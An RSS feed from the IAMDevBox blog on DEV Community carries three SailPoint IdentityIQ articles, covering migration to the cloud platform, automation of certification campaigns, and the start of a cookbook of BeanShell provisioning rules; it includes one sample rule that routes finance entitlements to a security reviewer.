<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: IAMDevBox</title>
    <description>The latest articles on DEV Community by IAMDevBox (@iamdevbox).</description>
    <link>https://dev.to/iamdevbox</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3197304%2Fef9976ee-ff50-4625-bfb2-fc17fe9b3e50.png</url>
      <title>DEV Community: IAMDevBox</title>
      <link>https://dev.to/iamdevbox</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/iamdevbox"/>
    <language>en</language>
    <item>
      <title>SailPoint IdentityIQ vs IdentityNow (ISC): Migration Guide for 2026</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Wed, 23 Sep 2026 00:07:23 +0000</pubDate>
      <link>https://dev.to/iamdevbox/sailpoint-identityiq-vs-identitynow-isc-migration-guide-for-2026-1k8f</link>
      <guid>https://dev.to/iamdevbox/sailpoint-identityiq-vs-identitynow-isc-migration-guide-for-2026-1k8f</guid>
      <description>&lt;p&gt;migrati-ce3a48ae.webp&lt;br&gt;
  alt: "SailPoint IdentityIQ vs IdentityNow (ISC): Migration Guide for 2026"&lt;/p&gt;

&lt;h2&gt;
  
  
    relative: false
&lt;/h2&gt;

&lt;p&gt;Search "identityiq vs identitynow" today and most of what comes back is already out of date twice over. SailPoint renamed IdentityNow to Identity Security Cloud (ISC) in March 2024, and then renamed ISC itself to &lt;strong&gt;SailPoint Human Fabric (SHF)&lt;/strong&gt; at Black Hat USA in August 2026 — same SaaS platform, third name in a little over two years. IdentityIQ, the on-premises product, kept its name throughout. If you're deciding whether to migrate an existing IIQ deployment, or scoping a new implementation and choosing between the two, the naming churn is the least of your problems — the real differences are architectural, and they hit hardest in exactly the area this site's SailPoint series has covered in depth: &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell rule customization&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This guide covers what actually changes in an IdentityIQ-to-cloud migration, what doesn't have a direct migration path, and how to decide which platform a new deployment should start on.&lt;/p&gt;

&lt;h2&gt;
  
  
  One Platform, Three Names
&lt;/h2&gt;

&lt;p&gt;For clarity going forward: IdentityNow, Identity Security Cloud, and SailPoint Human Fabric are the same underlying multi-tenant SaaS product at three points in its branding history. The core governance capabilities — identity profiles, access certifications, provisioning workflows, lifecycle states — carried forward through both renames without a rebuild. Human Fabric layers real-time governance and deeper identity-graph capabilities on top of the ISC foundation, and ships alongside a separate but related product, &lt;strong&gt;Agentic Fabric&lt;/strong&gt;, for governing AI agent and non-human identities specifically.&lt;/p&gt;

&lt;p&gt;Practically, this means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Job postings, RFPs, and older documentation referencing "IdentityNow" are describing the same product family you'd deploy today as Human Fabric.&lt;/li&gt;
&lt;li&gt;SailPoint's developer documentation and API endpoints largely still use &lt;code&gt;identitynow&lt;/code&gt; and &lt;code&gt;isc&lt;/code&gt; in URLs and package names — the rebrand is a product/marketing name change, not (yet) a wholesale API rename.&lt;/li&gt;
&lt;li&gt;This guide uses "IdentityNow/ISC" interchangeably with "Human Fabric" since that's still the dominant search term, but treat them as the current product when you see either.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IdentityIQ, by contrast, is the on-premises (or self-managed IaaS) Java application most of this site's SailPoint content is written against — deployed as a WAR file, configured through &lt;code&gt;iiq console&lt;/code&gt; and BeanShell rules, backed by a database schema you control directly (&lt;code&gt;spt_identity&lt;/code&gt;, &lt;code&gt;spt_certification_item&lt;/code&gt;, and the rest of the &lt;code&gt;spt_&lt;/code&gt; tables covered in our &lt;a href="https://dev.to/posts/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide/"&gt;aggregation troubleshooting guide&lt;/a&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Architectural Differences That Actually Matter
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;IdentityIQ&lt;/th&gt;
&lt;th&gt;IdentityNow / ISC / Human Fabric&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Deployment&lt;/td&gt;
&lt;td&gt;Self-hosted WAR (on-prem or IaaS)&lt;/td&gt;
&lt;td&gt;Multi-tenant SaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Infrastructure ownership&lt;/td&gt;
&lt;td&gt;You patch, scale, back up the database&lt;/td&gt;
&lt;td&gt;SailPoint operates it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Customization&lt;/td&gt;
&lt;td&gt;Unrestricted BeanShell (~200 rule types)&lt;/td&gt;
&lt;td&gt;Sandboxed Cloud Rules (fewer than 20 types) + Transforms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Connector execution&lt;/td&gt;
&lt;td&gt;In-process Java connectors, direct DB/LDAP access&lt;/td&gt;
&lt;td&gt;Virtual Appliance (VA) or SaaS-native connectors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Console/admin access&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;iiq console&lt;/code&gt;, direct database queries&lt;/td&gt;
&lt;td&gt;Admin UI + REST API + &lt;code&gt;sp-config&lt;/code&gt; for object export/import&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upgrade model&lt;/td&gt;
&lt;td&gt;You schedule and run version upgrades&lt;/td&gt;
&lt;td&gt;Continuous, SailPoint-managed releases&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The deployment-model row gets the most attention in vendor marketing, but for a team migrating an existing IIQ deployment, the customization row is where the actual engineering work lives.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why BeanShell Rules Are the Hardest Migration Problem
&lt;/h2&gt;

&lt;p&gt;IdentityIQ's extensibility model is deliberately unrestricted: a BeanShell rule can import any Java class on the classpath, open a JDBC connection to an external system, call &lt;code&gt;context.saveObject()&lt;/code&gt; to commit changes directly, and generally do anything a first-class Java method could do. That's exactly why our &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/"&gt;BeanShell Rule Cookbook&lt;/a&gt; and &lt;a href="https://dev.to/posts/sailpoint-identityiq-automating-certification-campaigns/"&gt;certification automation guide&lt;/a&gt; can show working exclusion rules, pre-delegation rules, and provisioning logic that reach into arbitrary application state.&lt;/p&gt;

&lt;p&gt;ISC/Human Fabric does not run BeanShell. Cloud Rules are JavaScript-based, sandboxed, and time-boxed — SailPoint's own developer documentation describes them as able to read the ISC data model but explicitly unable to commit transactions or save objects, which rules out the "rule quietly writes back to another object" pattern that shows up in several IIQ provisioning rules. There are fewer than 20 Cloud Rule types total, against roughly 200 rule types in IIQ.&lt;/p&gt;

&lt;p&gt;The practical consequence for a migration:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Identity attribute calculation logic&lt;/strong&gt; (formatted IDs, computed manager chains, string transforms) mostly maps to a &lt;strong&gt;Transform&lt;/strong&gt; — a declarative JSON object, not code. Transforms handle concatenation, date math, conditional branching, and lookup tables without executing arbitrary logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rules with genuine procedural logic&lt;/strong&gt; that don't fit a Transform's declarative model become a &lt;strong&gt;Cloud Rule&lt;/strong&gt;, rewritten in JavaScript within the sandbox's constraints.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rules that call custom Java classes, open direct database connections, or write to application state outside IdentityIQ's own objects&lt;/strong&gt; generally have no direct ISC equivalent. That logic has to move to the connector layer (a custom SaaS connector, or logic inside a JDBC/Web Services source configuration) or be redesigned around ISC's supported extension points entirely.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If your IIQ deployment leans heavily on category 3 — and after years of BeanShell customization, most mature deployments do somewhere — that's the work that actually determines your migration timeline, not the data migration itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Connector and Source Migration
&lt;/h2&gt;

&lt;p&gt;For connectors SailPoint has published a supported path for, there's a &lt;strong&gt;VA-to-SaaS source migration&lt;/strong&gt; tool that converts a Virtual-Appliance-based source to a native SaaS source connection without re-onboarding the application from zero: existing accounts, entitlements, access profiles, roles, password policy settings, and correlation configuration on the source carry over. It requires Admin or Source Admin user level in ISC to run.&lt;/p&gt;

&lt;p&gt;That path only exists where SailPoint has built and published it for a specific connector. Two categories fall outside it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Custom IIQ connectors&lt;/strong&gt; extending &lt;code&gt;sailpoint.connector.Connector&lt;/code&gt; (the on-prem SPI) have no automated migration — they need to be rebuilt against ISC's SaaS connector framework, which is a different extension model entirely, not a recompile.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connectors without a published SaaS equivalent yet&lt;/strong&gt; — check the specific connector's documentation page for a "Source Migration" section before planning around it; don't assume support exists because a similar connector has it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Object Migration with sp-config
&lt;/h2&gt;

&lt;p&gt;For configuration objects that do have an ISC equivalent — approved Cloud Rules, Transforms, provisioning policies — the &lt;code&gt;sp-config&lt;/code&gt; API and CLI support exporting objects from a sandbox tenant and importing them into production once they've passed SailPoint's rule review process for cloud-executed rules. This is the mechanism for promoting tested Cloud Rules and Transforms between tenants; it is not a bulk IIQ-object-to-ISC-object converter. BeanShell &lt;code&gt;&amp;lt;Rule&amp;gt;&lt;/code&gt; XML from an IIQ export does not import into ISC as a Cloud Rule — it has to be rewritten first using the mapping above, then the rewritten object goes through &lt;code&gt;sp-config&lt;/code&gt; for promotion between ISC environments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Realistic Migration Timeline
&lt;/h2&gt;

&lt;p&gt;Vendor case studies and migration-framework write-ups consistently describe IIQ implementations running 12-18 months on their own, with an ISC/Human Fabric migration adding a further multi-quarter program on top rather than replacing that timeline. The variables that move the estimate most:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rule inventory size and category&lt;/strong&gt; — how many of your BeanShell rules fall into the "no direct equivalent" bucket above.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom connector count&lt;/strong&gt; — each one without a published SaaS migration path is effectively a connector rebuild project.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data volume and identity attribute complexity&lt;/strong&gt; — larger, more customized identity cubes take longer to validate post-migration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Whether you run IIQ and ISC in parallel&lt;/strong&gt; during cutover (recommended for anything beyond a small deployment) versus a hard cutover, which adds coordination overhead but substantially reduces risk.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Should a New Deployment Start on IdentityIQ or ISC/Human Fabric?
&lt;/h2&gt;

&lt;p&gt;For the majority of new SailPoint deployments in 2026, start on ISC/Human Fabric. SailPoint has been explicit that ongoing platform investment — AI-driven access recommendations, predictive access modeling, identity graph relationship mapping, and non-human/agentic identity governance through the companion Agentic Fabric product — is concentrated on the cloud platform, while IdentityIQ continues to receive support and security patches without the same pace of net-new capability.&lt;/p&gt;

&lt;p&gt;IdentityIQ still makes sense as the starting point when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data residency or air-gap requirements&lt;/strong&gt; mandate on-premises deployment with no SaaS option.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deep custom Java connector or BeanShell logic&lt;/strong&gt; is a hard requirement from day one, and there's no appetite to design around ISC's sandboxed extension model from the start.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regulatory or contractual constraints&lt;/strong&gt; specifically require self-managed infrastructure for identity data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Outside those cases, starting on IIQ in 2026 mainly defers the ISC migration project rather than avoiding it — which is worth weighing against the multi-quarter migration cost described above if cloud is the eventual destination anyway.&lt;/p&gt;

&lt;h2&gt;
  
  
  Related Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;SailPoint IdentityIQ BeanShell Rules, Workflows, and Tasks: A Developer's Guide&lt;/a&gt; — the on-prem rule types this guide's migration mapping is built against&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/"&gt;SailPoint IdentityIQ BeanShell Rule Cookbook: Provisioning and Certification Rules&lt;/a&gt; — working examples of the rule patterns that need rewriting for Cloud Rules&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide/"&gt;SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide&lt;/a&gt; — the on-prem aggregation model that ISC's SaaS/VA source connectors replace&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>iam</category>
      <category>identitygovernance</category>
    </item>
    <item>
      <title>Automating SailPoint IdentityIQ Certification Campaigns</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 18 Sep 2026 00:37:54 +0000</pubDate>
      <link>https://dev.to/iamdevbox/automating-sailpoint-identityiq-certification-campaigns-4jee</link>
      <guid>https://dev.to/iamdevbox/automating-sailpoint-identityiq-certification-campaigns-4jee</guid>
      <description>&lt;p&gt;Most SailPoint IdentityIQ teams automate certification campaigns the wrong way first: they go looking for an &lt;code&gt;iiq console&lt;/code&gt; command or a script to launch a campaign programmatically, the way you might script an aggregation task. That path doesn't exist — the console explicitly has no certification-scheduling functionality, and its default 128 MB heap can't hold the objects a real campaign generates even if it did. IdentityIQ automates certifications through two mechanisms built for the purpose instead: recurring schedules baked into the certification definition, and event-driven campaigns that fire off an identity change rather than a clock. This guide covers both, plus the BeanShell rules that keep an automated campaign from burying reviewers in noise.&lt;/p&gt;

&lt;p&gt;If you haven't built a BeanShell rule for IdentityIQ before, start with our &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt; and the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/"&gt;Certification Exclusion Rule walkthrough&lt;/a&gt; in our rule cookbook — this article builds directly on the exclusion rule pattern covered there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recurring Certifications: Automation Through the Schedule, Not a Script
&lt;/h2&gt;

&lt;p&gt;The Schedule Certification wizard's Basic page is where most certification automation actually lives, and it's easy to underuse. Every non-targeted certification type — Manager, Application Owner, Entitlement Owner, Advanced, Account Group Membership, Account Group Permissions, Role Membership, Role Composition, and Identity — supports a recurrence frequency (daily, weekly, monthly, quarterly, or annual) directly on that page. Once configured, IdentityIQ launches the next campaign in the series on schedule with no further action, using the same certifier assignment logic, rules, and notification templates as the campaign before it.&lt;/p&gt;

&lt;p&gt;Two settings on that same page matter more for automation than they get credit for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Staged activation.&lt;/strong&gt; Setting Activation Method to Staged means the certification generates its &lt;code&gt;CertificationEntity&lt;/code&gt; and &lt;code&gt;CertificationItem&lt;/code&gt; objects but does not notify certifiers or start the clock on any phase. This is the safe way to let a recurring campaign generate automatically while still reviewing what it produced before reviewers see it — useful in the first few cycles after standing up a new recurring campaign, or any time you've changed an exclusion or pre-delegation rule attached to it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Use Certification as a Template."&lt;/strong&gt; Right-clicking an existing certification and selecting this option copies its full configuration — rules, notification settings, recurrence — into a new definition. For teams standardizing a recurring campaign across multiple business units, this is faster and less error-prone than rebuilding the Advanced Settings rule attachments from scratch each time.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Certification Events: Automation Triggered by Identity Changes
&lt;/h2&gt;

&lt;p&gt;Recurring schedules cover the calendar-driven case — quarterly access reviews, annual recertification. They don't cover the case where access needs review &lt;em&gt;because something changed&lt;/em&gt;, and waiting for the next scheduled cycle leaves a window where stale access sits unreviewed. Certification Events close that gap by launching a certification automatically when a specific condition is detected during an identity refresh cycle, rather than on a schedule:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event Type&lt;/th&gt;
&lt;th&gt;Fires When&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Create&lt;/td&gt;
&lt;td&gt;A new identity is discovered in IdentityIQ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manager Transfer&lt;/td&gt;
&lt;td&gt;An identity's manager attribute changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attribute Change&lt;/td&gt;
&lt;td&gt;A configured identity attribute is modified&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Native Change&lt;/td&gt;
&lt;td&gt;A change is detected directly on a native application account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Alert&lt;/td&gt;
&lt;td&gt;An enterprise alert condition is triggered&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rule&lt;/td&gt;
&lt;td&gt;Custom BeanShell logic determines when the event fires&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Manager Transfer is the one most deployments configure first, and for a specific reason: when a manager reassignment happens outside a scheduled campaign window, the identity's access can go unreviewed by anyone with real context on it until the next periodic certification runs — which might be months away. A Manager Transfer event instead generates a targeted access review for the new manager as soon as the transfer is detected on the next refresh, so the person who actually knows the role reviews the access close to when the change happened, not on a quarterly delay.&lt;/p&gt;

&lt;p&gt;The Rule event type is the escape hatch for anything the five built-in triggers don't cover — a custom BeanShell rule evaluates during the refresh cycle and returns whether the event should fire for a given identity, giving you the same flexibility as a scheduled campaign's Advanced Settings rules, but on an event-driven cadence instead of a fixed one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tuning an Automated Campaign With Exclusion and Pre-Delegation Rules
&lt;/h2&gt;

&lt;p&gt;An automated campaign that runs unattended needs tighter guardrails than one a human schedules manually, because there's no one glancing at the certifier list or entity count before it goes out. Two rule types, both configured under &lt;strong&gt;Certifications → Certification Schedule → Advanced Settings&lt;/strong&gt;, do most of that work:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exclusion rules&lt;/strong&gt; remove specific certifiable items before the reviewer ever sees them — disabled accounts, or entitlements already justified through an assigned role. The full working example, including the &lt;code&gt;instanceof&lt;/code&gt; guard you need because &lt;code&gt;certifiableEntities&lt;/code&gt; mixes &lt;code&gt;EntitlementCertifiable&lt;/code&gt;, &lt;code&gt;BundleCertifiable&lt;/code&gt;, and &lt;code&gt;PolicyViolationCertifiable&lt;/code&gt; objects, is in the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/#certification-exclusion-rules"&gt;rule cookbook's Exclusion Rule section&lt;/a&gt;. For an automated, recurring or event-driven campaign, this rule matters more than it does for a one-off manual certification — a manager who gets the same noisy 40-item review every quarter without it starts rubber-stamping the whole thing, which defeats the point of certifying at all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pre-delegation rules&lt;/strong&gt; route specific access reviews to someone other than the identity's default certifier — for example, sending every entitlement on a high-risk financial application to a dedicated application-security reviewer instead of the identity's line manager, regardless of who that manager happens to be this quarter. This is the rule type that makes automated campaigns viable for sensitive applications: without it, an unattended Manager Transfer event could route a privileged entitlement review to a brand-new manager who has no basis to evaluate it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd"&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Delegate Financial App Entitlements to AppSec"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"CertificationPreDelegation"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Description&amp;gt;&lt;/span&gt;
    Routes certifiable entitlements on the "GL-Finance" application to a dedicated
    application-security reviewer instead of the identity's manager, regardless
    of certification type or trigger (scheduled or event-driven).
  &lt;span class="nt"&gt;&amp;lt;/Description&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"java.lang.String"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"identity"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Identity"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"certifiable"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Certifiable"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.EntitlementCertifiable;
    import sailpoint.object.EntitlementSnapshot;

    if (!(certifiable instanceof EntitlementCertifiable)) {
        return null;
    }

    EntitlementCertifiable ec = (EntitlementCertifiable) certifiable;
    EntitlementSnapshot snap = ec.getEntitlements();

    if (snap != null &amp;amp;&amp;amp; "GL-Finance".equals(snap.getApplicationName())) {
        return "appsec.reviewer";
    }

    return null;
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returning &lt;code&gt;null&lt;/code&gt; leaves the certifier assignment untouched — the rule only overrides the specific items it matches, which is what lets it run safely across every certification type and trigger without needing a separate rule per campaign.&lt;/p&gt;

&lt;h2&gt;
  
  
  Validating Before an Automated Campaign Goes Live
&lt;/h2&gt;

&lt;p&gt;The failure mode that matters most for automated campaigns is the quiet one: an exclusion rule that over-excludes, or a pre-delegation rule with a typo in the target identity name, produces a certification that looks complete in the UI with no error and no warning. Nobody scheduled it manually, so nobody is watching for it to look wrong.&lt;/p&gt;

&lt;p&gt;Before attaching a new or changed rule to a recurring schedule or a Certification Event:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run once as Staged.&lt;/strong&gt; Generate the campaign without activating it, and inspect the &lt;code&gt;CertificationEntity&lt;/code&gt; and &lt;code&gt;CertificationItem&lt;/code&gt; counts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Diff against a version without the rule.&lt;/strong&gt; Generate the same campaign scope with the rule detached and compare counts — a large, unexplained drop is the signature of an over-broad exclusion.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log every match inside the rule&lt;/strong&gt;, not just a final count. A rule that excludes or delegates zero items is frequently the same underlying bug as one that excludes everything: a null check or comparison that always short-circuits. The log is what tells you which failure mode you're looking at, because the campaign output alone can't.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once a staged run confirms the rule behaves as expected, flip Activation Method back to whatever the live campaign needs (Automatic or Manual) and let the recurrence or event trigger take over from there.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Clone the companion repo&lt;/strong&gt;: Working exclusion and pre-delegation rule templates, plus the staged-certification diff script referenced above, are in &lt;a href="https://github.com/IAMDevBox/sailpoint-iiq-rule-cookbook" rel="noopener noreferrer"&gt;IAMDevBox/sailpoint-iiq-rule-cookbook&lt;/a&gt; — the same repo backing our BeanShell Rule Cookbook article. Note the diff script counts certification items, which confirms a pre-delegation rule didn't change &lt;em&gt;what's&lt;/em&gt; certified — it doesn't confirm &lt;em&gt;who&lt;/em&gt; the reviewer changed to, so still spot-check a few reassigned entities in the UI before activating.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Related Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/"&gt;SailPoint IdentityIQ BeanShell Rule Cookbook: Provisioning and Certification Rules&lt;/a&gt; — the Exclusion Rule pattern this article builds on&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;SailPoint IdentityIQ BeanShell Rules, Workflows, and Tasks Developer Guide&lt;/a&gt; — foundational rule types and the workflow engine that certification generation runs on&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide/"&gt;SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide&lt;/a&gt; — diagnosing the identity refresh cycle that Certification Events depend on&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>iam</category>
      <category>identitygovernance</category>
    </item>
    <item>
      <title>SailPoint IdentityIQ BeanShell Rule Cookbook: Provisioning and Certification Rules</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Wed, 16 Sep 2026 01:06:26 +0000</pubDate>
      <link>https://dev.to/iamdevbox/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-and-certification-rules-1n79</link>
      <guid>https://dev.to/iamdevbox/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-and-certification-rules-1n79</guid>
      <description>&lt;p&gt;Most SailPoint IdentityIQ rule tutorials stop at the three rule types you write in your first month: BuildMap, Correlation, and IdentityAttribute. Our own &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt; covers those in depth, plus the &lt;a href="https://github.com/IAMDevBox/sailpoint-iiq-devtools" rel="noopener noreferrer"&gt;companion repo&lt;/a&gt; with working templates for all four. This cookbook picks up where that guide leaves off, with two rule types that show up later in a real deployment and have far fewer working examples floating around: &lt;strong&gt;Provisioning rules&lt;/strong&gt;, which reshape what actually gets sent to a target system, and &lt;strong&gt;Certification rules&lt;/strong&gt;, which control what a reviewer sees during an access review.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Clone the companion repo&lt;/strong&gt;: Working XML templates for every rule type in this article are at &lt;a href="https://github.com/IAMDevBox/sailpoint-iiq-rule-cookbook" rel="noopener noreferrer"&gt;IAMDevBox/sailpoint-iiq-rule-cookbook&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Before and After Provisioning Rules
&lt;/h2&gt;

&lt;p&gt;Every provisioning operation in IdentityIQ — a role assignment, an entitlement request, a disable — becomes a &lt;code&gt;ProvisioningPlan&lt;/code&gt; object that IdentityIQ hands to a connector's &lt;code&gt;provision()&lt;/code&gt; method. Before and After Provisioning rules are your two hooks into that hand-off, and they are configured per-application on the &lt;strong&gt;Rules tab&lt;/strong&gt; of the Edit Application page, not globally.&lt;/p&gt;

&lt;h3&gt;
  
  
  Before Provisioning: Reshaping the Plan
&lt;/h3&gt;

&lt;p&gt;A Before Provisioning rule runs immediately before &lt;code&gt;provision()&lt;/code&gt; is called. It receives four arguments and returns nothing — you mutate the &lt;code&gt;plan&lt;/code&gt; object directly:&lt;/p&gt;

